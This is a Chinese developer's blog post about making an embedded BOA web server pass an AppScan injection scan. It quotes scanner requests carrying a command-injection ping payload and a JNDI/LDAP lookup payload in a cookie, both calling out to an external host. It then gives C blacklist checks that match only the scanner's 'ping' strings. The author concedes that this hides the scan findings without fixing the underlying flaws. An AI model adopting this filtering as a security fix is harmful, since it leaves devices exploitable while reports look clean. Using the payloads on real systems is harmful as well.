在基于嵌入式Linux的终端上部署了一个轻量级的老古董级web server - BOA server(芯片供应商自带的SDK,不好换,主要是C程序),可以连上进行终端的配置。却被客户告知需要进行web安全扫描。这个需求本来意义很低,因为这个终端是在放在用户家里,家庭上网用,内网才能接入。即使黑进去了最多也就是破坏个人上网,或者蹭个网啥的。但是客户把它作为入网测试的必选项。
用appscan扫出上千个高危漏洞,绝大部分是注入漏洞,一般发生在POST请求,黑盒(appscan)攻击向量主要集中在两个地方,一是payload,二是cookie。
一. Payload注入漏洞
POST /cgi-bin/check_auth.json HTTP/1.1
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: [fe80::1]
Cookie: loginTimes=0; loginRight=2
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://[fe80::1]/cgi-bin/login.asp
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US
frashnum=&action=ping+-c+1+v3-ping-2-27c24527-642b-4275-b72da68b05234bf0.
securityip.appsechcl.com&Frm_Logintoken=0&username=user&password=**CONFIDENTIAL 0**&Username2=&Password2=
HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/html;charset=GB2312
{
"Locked":"0",
"Logged":"2",
"Privilege":"0",
"Active":"1",
"Luci":"0",
"ecntToken":"000000000000000000000000000000000"}
这里的payload的变量action的值被注入了。
appscan的漏洞描述这么说:
差异: 参数 action 从以下位置进行控制: login 至:
ping+-c+1+v3-ping-2-27c24527-642b-4275-b72d-a68b05234bf0.securityip.appsechcl.com
推理: AppScan 外部 Web 服务器接收到包含该测试的变体 ID 的 DNS 查询,因此认为应用程序存在漏洞。
解读一下:appscan向web server发送如上攻击向量并收到正常回应,所以认为存在漏洞。
对于这一类漏洞,我们需要在web server程序中找到payload解析部分。在Boa server是在http-get-utils.c文件中的函数s_var **parse_param_line (char *line)。在这个文件的头部增加payload校验函数,来校验其内容是否被注入。
用户输入校验可以用两种方法,一种是白名单准入,另一种是黑名单禁入。我开始用的是白名单准入,但是这种情况下需要穷举各种合法的用户输入,这个操作上太复杂,很容易就把合法的输入也过滤了。后来我用黑名单禁入法,通过观察攻击向量,发现其中都有字符串"-ping-"或"ping ",于是我的输入校验函数也就很简单:
int validate_payload(char * pl)
{
if(strstr(pl,"ping ") || strstr(pl,"-ping-"))
{
return 0;
}
return 1;
}
在函数s_var **parse_param_line (char *line)里,找到payload参数的获取部分代码,对其值进行校验,程序中是result[i]->value。
if(!validate_payload(result[i]->value))
{
tcdbg_printf("\nValidate_payload failed %s=%s %s\n", result[i]->name, result[i]->value, __func__);
free_param_line(result);
return NULL;
}
其中,tcdbg_printf是这个终端系统特有的串口控制台输出调试语句。如果发现参数值里含有攻击向量,则立即返回NULL。是不是到这里就结束了呢?如果你的web server程序写的很严谨,即在对参数进行解析时,如果发现错误有相应的错误处理流程,如忽略该request,那么改到这里应该就可以了。但是Boa server源码里没有该处理流程,只能自己顺藤摸瓜进行额外处理。
再查找Boa server里调用parse_param_line函数的代码,发现在函数static int get_post(request *req), static int get_post_multipart(request *req), static int get_query(request *req)里,都是返回类型为int。原来针对parse_param_line返回为NULL时没有做特殊处理,现在需要加上这段代码。以get_post为例:
g_var_post = parse_param_line (post);
free(post);
if(g_var_post)
{
return 1;
}
else
{
tcdbg_printf("g_var_post is null %s\n", __func__);
return 0;
}
当parse_param_line返回为NULL时,函数返回0. 再查找get_post的调用,发现在int asp_handler(request * req)函数里(asp是legacy asp),源代码是这样的:
if(http_header() == -1)
{
close(fd_out);
req->status = DEAD;
req->keepalive = KA_INACTIVE;//Ian_20070326
return 0;//Ian_20070326
}
if((req->method == M_POST) && req->content_length){
if(req->content_type == NULL)
{
get_post(req);
}
/*add support to parse multipart. shnwind 2009.4.8*/
else if(strstr(req->content_type,"multipart") == NULL){
get_post(req);
}else{
get_post_multipart(req);
}
}else if((req->method == M_GET) && req->query_string)
get_query(req);
从上面的代码可以看到,调用parse_param_line函数的get_post,get_post_multipart,get_query都在里面, 但是都没有对其返回值进行校验处理。也就是无论返回值是什么,都会接下去走预定的流程。修改加上如下校验代码:
if((req->method == M_POST) && req->content_length){
if(req->content_type == NULL)
{
igp=get_post(req);
}
/*add support to parse multipart. shnwind 2009.4.8*/
else if(strstr(req->content_type,"multipart") == NULL){
igp=get_post(req);
}else{
igp=get_post_multipart(req);
}
//tcdbg_printf("igp=%d %s\n",igp,__func__);
if(!igp)
{
tcdbg_printf("igp is 0 %s\n", __func__);
close(fd_out);
req->status = DEAD;
req->keepalive = KA_INACTIVE;
return 0;
}
}else if((req->method == M_GET) && req->query_string)
{
if(!get_query(req))
{
close(fd_out);
req->status = DEAD;
req->keepalive = KA_INACTIVE;
tcdbg_printf("!get_query(req),line %d, in function %s\n",__LINE__,__func__);
return 0;
}
}
当返回为0时,参考其源代码里的错误处理流程,关闭一些数据,设置req状态,然后返回0.
本来程序修改到这里就可以结束了,但是还需要特别注意的一个地方。appscan判断漏洞是看你针对其request有没有有效返回,如200 OK,在需要redirect的情况下,302 Moved也算一个有效返回,当它监测到返回数据后,就判断web server存在漏洞。而在Boa server的源码里http_header函数就是用来发送HTTP/1.0 200 OK消息的,所以要把这个函数放到get_query的后面来。好,这个位置调换完成,则整个针对payload漏洞的程序修补告一段落。后面还有一个补丁针对boa server在面对某些攻击向量时会退出。
二. Cookie注入漏洞
POST /cgi-bin/sec-macfilter.asp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Referer: http://[fe80::1]/cgi-bin/sec-macfilter.asp
Cookie: ecntToken=2a5c6fd6b8454bcb5b1c7a4e9aa24eeff; loginTimes=0; logintype=usr; loginRight=${jndi:ldap://v3-ping-1434-
14484203-25fa-47b8-ab83-db8ba866eaac.securityip.appsechcl.com/foo}
Host: [fe80::1]
Content-Length: 126
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
isFilter=on&ListType_Flag=White&Mac_Flag=0&delnum=&EnMacFilter_Flag=0&mac_num=0&Actionflag=Del&IpMacType_Flag=Mac&FilterMod
e=1
HTTP/1.0 302 Moved Temporarily
Location: /cgi-bin/login.asp
Connection: close
Server: Boa/0.94.13
X-Frame-Options: SAMEORIGIN
Date: Thu, 01 Jan 1970 02:21:02 GMT
Content-Type: text/html; charset=ISO-8859-1
<HTML><HEAD><TITLE>302 Moved Temporarily</TITLE></HEAD>
<BODY>
<H1>302 Moved</H1>The document has moved
<A HREF="/cgi-bin/login.asp">here</A>.
</BODY></HTML>
GET /cgi-bin/login.asp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Referer: http://[fe80::1]/cgi-bin/sec-macfilter.asp
Cookie: ecntToken=2a5c6fd6b8454bcb5b1c7a4e9aa24eeff; loginTimes=0; logintype=usr; loginRight=${jndi:ldap://v3-ping-1434-
14484203-25fa-47b8-ab83-db8ba866eaac.securityip.appsechcl.com/foo}
Host: [fe80::1]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-USHTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/html;charset=GB2312
上面Cookie中LoginRight的值被注入了。web server第一个回应是302(因为还没有登录),然后redirect到login,收到了正常回应,appscan认为是漏洞。
在Boa server中查找cookie解析的代码,Cookie是在解析Head的时候进行处理,所以不在上面的Body的payload处置流程之中。在文件ctc_auth_api.c中的函数ctc_check_auth和ctc_http_token_authorize里
int ctc_check_auth
(asp_reent* reent, const asp_text* params, char *p_username, char *p_password, struct ctc_au_param *au_param, char **result)
int ctc_http_token_authorize(request *req)
在该文件头部添加一校验函数:
int check_compliance(char * strbuf)
{
if(strstr(strbuf,"ping ") || strstr(strbuf,"-ping-")|| strlen(strbuf)==0)
{
return 0;
}
return 1;
}
和前面payload校验不一样的地方,cookie的值是不能为空的,所以加上strlen是否为0的校验。在 函数ctc_check_auth中调用上述check_compliance函数,以loginTimes为例:
if ( req->cookie )
{
var = param_line (req->cookie, '=',';');
for( idx = 0; var[idx]; idx++)
{
if (
#if defined(TCSUPPORT_CUC)
0 == login_times &&
#endif
NULL != strstr(var[idx]->name, "loginTimes") )
{
//tcdbg_printf("Cookie: %s=%s; %s\n",var[idx]->name,var[idx]->value, __func__);
if (!check_compliance(var[idx]->value))
{
tcdbg_printf("Cookie loginTimes %s contains malicious code %s\n",var[idx]->value, __func__);
free_param(var);
/**result=NULL;
return -1;*/
goto JSON_CREATE;
}
即如果检测到不符合要求,则按照源代码中的出错处理流程,转到JSON_CREATE。
在 ctc_http_token_authorize中做如下修改:
var = param_line (req->cookie, '=',';');
//tcdbg_printf("Cookie: ");
for( idx = 0; var[idx]; idx++)
{
//tcdbg_printf("%s=%s; ",var[idx]->name,var[idx]->value);
//tcdbg_printf("\n");
if (!check_compliance(var[idx]->value))
{
tcdbg_printf("Cookie value %s contains malicious code\n %s", var[idx]->value, __func__);
free_param(var);
return -1;
}
即检测到不合规,返回-1.
幸运的是,关于Cookie的修改,到这里就可以结束了。不需要再去关心这些函数的调用,因为Boa server源码里已经有既定的错误处理流程了。
三. 由于攻击向量造成的web server退出
appscan扫描经常会造成Boa server退出。经过在程序多处打印调试信息,定位到是由于在发送登陆请求时,伪造的用户名和密码有的为空。这在正常流程中不会出现,因为前端的javascript代码会校验输入。在asp_handler.c文件中的如下函数中加入校验代码:
static void
tcWebApi_JsonHook(asp_reent* reent, const asp_text* params, asp_text* ret)
{
....
if(!strcmp(funname,"ctc_check_auth"))
{
if(!pval_1 || !pval_2)
{
tcdbg_printf("pval_1 or pval_2 is null and funname is %s,%d,%s\n",funname,__LINE__,__FILE__);
return;
}
}
....
}
当函数为ctc_check_auth时,表明在进行登录校验,pval_1是指向用户名的指针,pval_2是指向密码的指针。当其中有一个为null时,立即返回。
到现在整个漏洞修补程序已经完结,从扫描结果来看,注入漏洞全部修复(不再报告)。
仅有的3个高危漏洞是由于采用http协议,没有加密传输。
本文介绍的方法是针对appscan的特定扫描,观察其攻击向量的特征,并不是从根源上堵住了注入漏洞。之所以介绍这种方法,是因为这种安全检测意义不大,我只是用一种最简单的方法让客户的安全扫描得以通过,同时不影响现有业务的正常运行。 这种方式不适用于大型互联网网站,或者存有重要数据的网站。